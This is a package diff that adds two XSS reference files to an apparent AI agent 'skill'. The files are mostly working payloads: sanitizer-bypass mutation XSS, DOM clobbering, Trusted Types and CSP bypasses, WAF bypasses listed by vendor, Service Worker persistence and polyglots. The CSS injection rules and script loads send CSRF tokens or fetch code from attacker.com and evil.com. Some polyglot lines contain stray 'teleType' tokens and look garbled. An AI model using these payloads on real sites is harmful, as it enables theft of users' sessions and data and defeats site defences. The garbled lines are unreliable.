ineedcodes 1.6.1 → 1.7.0

package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md

@@ -0,0 +1,276 @@
+# Advanced XSS Tricks — Supplementary Reference
+
+> **Load trigger**: When the agent needs modern framework XSS, mXSS, DOM Clobbering, Trusted Types bypass, or Service Worker persistence techniques beyond the core SKILL.md.
+
+## 1. mXSS (Mutation XSS)
+
+Browser HTML parser "fixes" markup differently than sanitizers expect, causing benign-looking HTML to mutate into executable payloads after DOM insertion.
+
+### Core Mechanism
+Sanitizer parses HTML → produces safe output → browser re-parses during `innerHTML` assignment → mutation creates executable node.
+
+### DOMPurify Bypass Patterns
+
+**Namespace confusion (SVG/MathML → HTML back-context):**
+```html
+<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img src=1 onerror=alert(1)&gt;">
+```
+Parser treats content as MathML, but browser switches to HTML integration point inside `<mtext>`, causing `<img>` to become executable.
+
+**`<noscript>` parsing differential:**
+```html
+<noscript><style></noscript><img src=x onerror=alert(1)>
+```
+DOMPurify (scripting enabled) sees `<style>` consuming the rest. Browser with `scripting=false` context sees the `<img>` as a sibling.
+
+**Form/table restructuring:**
+```html
+<form><math><mtext></form><form><mglyph><svg><mpath><set attributeName=onmouseover to=alert(1)>
+```
+Browser tree builder auto-closes first form and restructures, creating unexpected live elements.
+
+### Key Principle
+Test with: sanitizer output → `element.innerHTML = sanitized` → inspect actual DOM. If DOM differs from sanitizer's expected tree, mutation XSS is possible.
+
+---
+
+## 2. DOM Clobbering
+
+Override JavaScript variables/properties by injecting HTML elements with specific `id` or `name` attributes.
+
+### Basic Clobbering
+```html
+<!-- Clobber window.x -->
+<img id=x>
+<!-- Now window.x === the <img> element -->
+
+<!-- Clobber nested: window.x.y -->
+<form id=x><img id=y></form>
+<!-- window.x.y === the <img> element -->
+
+<!-- Clobber window.x.y via <a> href (toString = href) -->
+<a id=x href="javascript:alert(1)">
+<!-- String(window.x) === "javascript:alert(1)" -->
+```
+
+### HTMLCollection Clobbering (array-like)
+```html
+<a id=x>1</a><a id=x>2</a>
+<!-- window.x is HTMLCollection [a, a] -->
+<!-- window.x[0], window.x[1] accessible -->
+```
+
+### Deep Property Clobbering (3+ levels)
+```html
+<form id=x name=y><input id=z></form>
+<!-- document.x.y.z exists -->
+```
+
+### Exploit Patterns
+If code does `if (window.config) { url = window.config.url; }` and `config` is not defined:
+```html
+<a id=config href="https://attacker.com/evil.js">
+```
+Code now loads attacker-controlled URL.
+
+### Defense Check
+Code using `typeof x !== 'undefined'` or `x instanceof Object` can sometimes be bypassed because DOM elements are objects.
+
+---
+
+## 3. Modern Framework XSS
+
+### React
+- `dangerouslySetInnerHTML={{__html: userInput}}` — direct XSS if userInput is unsanitized
+- `href={userInput}` on `<a>` — `javascript:` protocol not blocked by React
+- SSR hydration mismatch — server renders different HTML than client expects, dangling markup possible
+- `eval()` in `useEffect` with user data
+
+### Vue.js
+- `v-html="userInput"` — equivalent to innerHTML, no sanitization
+- Server-side template injection via `{{ }}` in SSR mode
+- `v-bind:href` / `:href` accepts `javascript:` URIs
+- Component `is` attribute with user input → dynamic component injection
+
+### Angular
+- `bypassSecurityTrustHtml()` / `bypassSecurityTrustUrl()` — explicit trust marking
+- Angular Universal SSR template injection
+- `[innerHTML]` binding with bypassed sanitizer
+- Older Angular.js (1.x) sandbox escapes still relevant for legacy apps:
+```
+{{constructor.constructor('alert(1)')()}}
+{{'a]'.constructor.prototype.charAt=[].join;$eval('x=1}alert(1)//')}}
+```
+
+### Next.js / Nuxt
+- `getServerSideProps` returning unsanitized data rendered with `dangerouslySetInnerHTML`
+- API routes reflecting input without encoding
+- `_document.js` custom head injection
+
+---
+
+## 4. Trusted Types Bypass
+
+Trusted Types enforce that DOM XSS sinks only accept typed objects, not raw strings. Bypass requires finding a policy or sink gap.
+
+### Finding Bypass Vectors
+1. **Default policy exists** — look for `trustedTypes.createPolicy('default', ...)` with weak sanitization
+2. **Policy with passthrough** — `createHTML: (s) => s` effectively disables protection
+3. **Sinks not covered by TT** — `document.cookie`, `window.name`, `location.href` (navigation sinks)
+4. **`eval` type policies** — if `createScript` is permissive
+5. **DOM clobbering to override policy name** — clobber `trustedTypes` if checked loosely
+
+### Non-TT-Protected Sinks
+```javascript
+window.name = payload;       // persists across navigations
+document.cookie = payload;   // cookie injection
+location.href = payload;     // navigation-based XSS
+location.hash = payload;     // fragment injection
+window.open(payload);        // popup with javascript:
+```
+
+### Policy Abuse
+```javascript
+// If a policy does basic tag stripping but misses event handlers:
+const p = trustedTypes.createPolicy('sanitize', {
+  createHTML: s => s.replace(/<script>/gi, '')
+});
+// Bypass: <img onerror=alert(1) src=x>
+```
+
+---
+
+## 5. Service Worker XSS Persistence
+
+### Registering Malicious Service Worker
+If XSS allows script execution and the scope allows SW registration:
+```javascript
+navigator.serviceWorker.register('/sw.js', {scope: '/'})
+```
+
+### Self-Contained SW via importScripts
+```javascript
+// If you control a JS file or can inject via upload:
+self.addEventListener('fetch', e => {
+  if (e.request.url.includes('/target-page')) {
+    e.respondWith(new Response('<script>alert(document.cookie)</script>', 
+      {headers: {'Content-Type': 'text/html'}}));
+  }
+});
+```
+
+### Persistence Value
+- SW persists after XSS payload is cleaned/patched
+- Intercepts all fetch requests within scope
+- Can inject into every page load until SW is unregistered
+- Survives page refresh, tab close/reopen
+
+### Requirements
+- HTTPS (or localhost)
+- SW script must be served from same origin with valid JS content-type
+- Scope restricted to SW script's directory and below
+
+---
+
+## 6. PDF/SVG/XML XSS Vectors
+
+### PDF XSS (Adobe reader in browser)
+```
+/page.pdf#a]%0d/teleType(alert(1))%0d[/a
+```
+
+### SVG Polyglot
+```xml
+<?xml version="1.0"?>
+<svg xmlns="http://www.w3.org/2000/svg">
+  <foreignObject>
+    <body xmlns="http://www.w3.org/1999/xhtml">
+      <script>alert(1)</script>
+    </body>
+  </foreignObject>
+</svg>
+```
+
+### SVG `<use>` External Reference
+```html
+<svg><use href="https://attacker.com/evil.svg#xss"></use></svg>
+```
+
+### MathML XSS
+```html
+<math><maction actiontype="statusline#" xlink:href="javascript:alert(1)">click</maction></math>
+```
+
+---
+
+## 7. XS-Leaks & Side Channels (Advanced)
+
+### Timing-Based Detection
+```javascript
+// Detect if user is logged in to target site
+let t0 = performance.now();
+fetch('https://target.com/api/me', {mode: 'no-cors'});
+let t1 = performance.now();
+// Authenticated responses are larger/slower → timing oracle
+```
+
+### Frame Counting
+```javascript
+let w = window.open('https://target.com/search?q=SECRET');
+setTimeout(() => {
+  // w.length = number of iframes in response
+  // Different result count → different frame count → oracle
+  console.log(w.length);
+}, 2000);
+```
+
+### Error Event Oracle
+```javascript
+// Image loads successfully only for authenticated users
+let img = new Image();
+img.onload = () => { /* user is logged in */ };
+img.onerror = () => { /* user is not logged in */ };
+img.src = 'https://target.com/avatar.png';
+```
+
+### Cache Probing
+```javascript
+// Check if resource is cached (= user visited target page)
+let t0 = performance.now();
+fetch('https://target.com/static/logo.png', {cache: 'force-cache', mode: 'no-cors'});
+let t1 = performance.now();
+// Cached: fast. Not cached: slow.
+```
+
+---
+
+## 8. Polyglot XSS Payloads
+
+Single payloads that work across multiple contexts:
+
+```
+jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%%0teleType%0teleType1teleType22teleType33teleType44teleType55teleType66teleType77[7teleType]teleType8teleType9teleType0teleType/teleType*'teleType"*/
+</teleType>%0teleType<teleType>alert(1)</teleType>
+
+javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload=alert()//>
+
+-->'"/></sCript><dETAILS/+/teleType/+=teleType/OnToggle=alert()>
+
+'"-->]]>*/</script></style></title></textarea><!--<p class="--><img src=x onerror=alert()>">
+```
+
+---
+
+## 9. Browser-Specific Tricks
+
+### Chrome-Specific
+- `<svg><animate onbegin=alert(1) attributeName=x dur=1s>` — animation event
+- Blink-specific parsing in `<template>` content
+
+### Firefox-Specific  
+- `<math><mrow xlink:type="simple" xlink:href="javascript:alert(1)">click</mrow></math>`
+- `-moz-binding` CSS (deprecated but sometimes present in legacy)
+
+### Safari-Specific
+- `<input onfocus=alert(1) autofocus type=search incremental=true>`
+- WebKit-specific `<marquee>` event handlers

package/skills/xss-cross-site-scripting/SCENARIOS.md

@@ -0,0 +1,278 @@
+# XSS — Extended Scenarios & Real-World Cases
+
+> Companion to [SKILL.md](./SKILL.md). Contains additional attack scenarios, CVE case studies, and defense bypass techniques.
+
+---
+
+## 1. CVE Case: Django Debug Page XSS (CVE-2017-12794)
+
+Django's debug error page displays unescaped exception messages. When a `UNIQUE` constraint violation occurs, the duplicate value is shown raw:
+
+**Attack flow**:
+1. Register username: `<script>alert(1)</script>`
+2. Attempt to register again with the same username
+3. Django raises `IntegrityError` with the duplicate key value
+4. Debug page renders: `duplicate key value violates unique constraint... (<script>alert(1)</script>)`
+5. Script executes in the debug page context
+
+**Conditions**: `DEBUG=True` in production (common in misconfigured deployments).
+
+---
+
+## 2. UTF-7 XSS (Legacy)
+
+When the page does not specify charset and Internet Explorer auto-detects encoding:
+
+```text
++/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
+```
+
+IE interprets `+ADw-` as `<` in UTF-7 encoding. The server must not set `Content-Type: text/html; charset=utf-8` for this to work.
+
+**Modern relevance**: Rare, but still found in legacy intranet applications using IE compatibility mode.
+
+---
+
+## 3. HttpOnly Bypass Strategies
+
+`HttpOnly` prevents `document.cookie` from reading the session cookie, but XSS can still:
+
+| Technique | How It Works |
+|---|---|
+| **Proxy the browser** | XSS sends authenticated requests on behalf of victim (XMLHttpRequest/fetch with credentials) — no need to steal the cookie |
+| **CSRF via XSS** | Read CSRF token from DOM → perform state-changing actions |
+| **Keylogger** | Capture credentials as victim types |
+| **Session riding** | Browse the application through injected JS, extract data from responses |
+| **TRACE method** | Historical: `TRACE` reflects cookies in response body (blocked in modern servers) |
+
+**Key insight**: HttpOnly does NOT prevent XSS exploitation — it only prevents cookie theft specifically. The attacker can do everything the victim can do through proxied requests.
+
+---
+
+## 4. XS-Leaks (Cross-Site Leak) Scenarios
+
+XS-Leaks infer information about cross-origin pages without reading their content, using side channels:
+
+### Timing-Based Search Oracle
+
+```javascript
+async function probe(query) {
+    const start = performance.now();
+    const img = new Image();
+    img.src = `https://target.com/search?q=${query}&_=${Date.now()}`;
+    await new Promise(r => { img.onload = img.onerror = r; });
+    return performance.now() - start;
+}
+
+// If search for "admin_secret" takes 200ms vs 50ms for "nonexistent"
+// → "admin_secret" has results → information leaked
+```
+
+### Amplification Techniques
+
+- Use search queries that return large result sets → measurable timing difference
+- Combine with slow backend operations (regex search, DB full-scan)
+- Frame counting: `window.length` reveals iframe count on cross-origin page
+
+### Defense
+
+```
+Cache-Control: no-store
+```
+
+Prevent timing oracle via cached vs uncached response times. Also: do not use predictable resource names (e.g., `/users/alice/avatar.png`).
+
+---
+
+## 5. Session Fixation via XSS
+
+When the application does not regenerate session IDs after login:
+
+**Attack flow**:
+1. Attacker obtains a valid (unauthenticated) session ID
+2. Attacker forces victim's browser to use this session ID:
+   ```
+   https://target.com/setcookie.php?PHPSESSID=attacker_known_value
+   ```
+3. Victim logs in — the pre-set session ID is now authenticated
+4. Attacker uses the same session ID → authenticated as victim
+
+**XSS variant**: inject `document.cookie = "PHPSESSID=FIXED_VALUE"` via stored XSS before victim logs in.
+
+**Fix**: `session_regenerate_id(true)` after authentication.
+
+---
+
+## 6. DOM Clobbering
+
+When CSP blocks inline scripts but allows named HTML elements:
+
+```html
+<form id="x"><output id="y">payload</output></form>
+<!-- Now document.x.y.value === "payload" -->
+<!-- If app code does: element.innerHTML = document.x.y.value → XSS -->
+```
+
+Useful when the application trusts DOM properties derived from element IDs/names.
+
+---
+
+## 7. XSS POLYGLOT PAYLOADS
+
+```javascript
+// 0xsobky universal:
+jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
+
+// s0md3v:
+-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
+
+// brutelogic:
+JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26LT;LT;*/prompt()//
+
+// Polyglot for multiple contexts:
+'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse
+over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>
+```
+
+---
+
+## 8. WAF BYPASS BY VENDOR
+
+### Cloudflare
+
+```html
+<svg onload=prompt``>
+<!-- Use onnull, onrandom (unknown event handlers pass through) -->
+<img src=x onnull=alert(1)>
+<!-- Entity encoding: -->
+<a href="j&#97;v&#97;scr&#105;pt:alert(1)">click</a>
+<!-- Tab/newline in javascript: scheme -->
+<a href="java
+script:alert(1)">click</a>
+```
+
+### Akamai
+
+```html
+</script><base href="javascript:/a]/-alert(1)//">
+<dETAILS open oNtoggle=alert(1)>
+<!-- Mutation: -->
+<svg><animate onbegin=alert(1) attributeName=x dur=1s>
+```
+
+### Incapsula (Imperva)
+
+```html
+<!-- jQuery-based bypass: -->
+<script>$.globalEval("al"+"ert(1)")</script>
+<!-- Data URI in object: -->
+<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
+```
+
+### WordFence (WordPress)
+
+```html
+<!-- Entity encoding javascript: -->
+<a href="javas&#99;ript:alert(1)">click</a>
+<!-- Unicode escapes: -->
+<img src=x onerror="&#x61;lert(1)">
+```
+
+### Fortiweb
+
+```html
+<!-- Unicode tag bypass: -->
+\u003e\u003cscript\u003ealert(1)\u003c/script\u003e
+```
+
+---
+
+## 9. CSP BYPASS TECHNIQUES
+
+### Common CSP Bypasses
+
+```
+# If 'unsafe-inline' is allowed → standard XSS works
+
+# If script-src includes CDN with JSONP:
+<script src="https://allowed-cdn.com/jsonp?callback=alert(1)//"></script>
+
+# If script-src includes 'self' + file upload:
+Upload JS file → <script src="/uploads/evil.js"></script>
+
+# If base-uri not restricted:
+<base href="https://attacker.com/">
+<script src="/js/app.js"></script>  <!-- Fetches from attacker.com -->
+
+# If script-src allows data: scheme:
+<script src="data:text/javascript,alert(1)"></script>
+
+# If strict-dynamic is used without nonce:
+<script>document.createElement('script').src='//evil.com/x.js'</script>
+```
+
+### DOM Clobbering for CSP Bypass
+
+```html
+<!-- Clobber variables used by CSP-nonce scripts -->
+<a id="config" href="javascript:alert(1)">
+<form id="config"><input name="url" value="javascript:alert(1)"></form>
+
+<!-- Multi-level clobbering: x.y.value -->
+<a id=x><a id=x name=y href="javascript:alert(1)">
+<!-- document.getElementById('x') returns HTMLCollection -->
+<!-- x.y.href = "javascript:alert(1)" -->
+
+<!-- DomPurify bypass with cid: protocol -->
+<a id=x href="cid:alert(1)">
+<!-- Some sanitizers allow cid: scheme -->
+
+<!-- 3-level deep clobbering via iframe -->
+<iframe name=x srcdoc="<a id=y><a id=y name=z href='javascript:alert(1)'>">
+<!-- Access: x.y.z.href -->
+```
+
+---
+
+## 10. CSS INJECTION DATA EXFILTRATION
+
+When you can inject CSS but NOT JavaScript (common with CSP `style-src 'unsafe-inline'`):
+
+### Attribute Selector Brute-Force
+
+```css
+/* Extract CSRF token or input values character by character: */
+input[name="csrf"][value^="a"] { background: url(https://attacker.com/?token=a); }
+input[name="csrf"][value^="b"] { background: url(https://attacker.com/?token=b); }
+/* ... for each character ... */
+input[name="csrf"][value^="ab"] { background: url(https://attacker.com/?token=ab); }
+/* Server receives callback revealing the token prefix that matched */
+```
+
+### @font-face + unicode-range Side Channel
+
+```css
+/* Detect specific characters in text nodes: */
+@font-face { font-family: probe; src: url(https://attacker.com/?char=A); unicode-range: U+0041; }
+@font-face { font-family: probe; src: url(https://attacker.com/?char=B); unicode-range: U+0042; }
+/* Apply to target element: */
+.secret-text { font-family: probe; }
+/* Browser only loads font for characters that actually appear in the text */
+```
+
+### Ligature Width Side Channel
+
+```css
+/* Create custom font where specific character sequences have different widths */
+/* Use CSS to detect element width changes → infer text content */
+/* More complex but works for text nodes that attribute selectors can't reach */
+```
+
+### Sequential Import Chaining
+
+```css
+/* @import chain for multi-round extraction: */
+@import url(https://attacker.com/round1.css);
+/* Server returns CSS with selectors for next character based on round 1 results */
+/* Each round narrows down the token value */
+```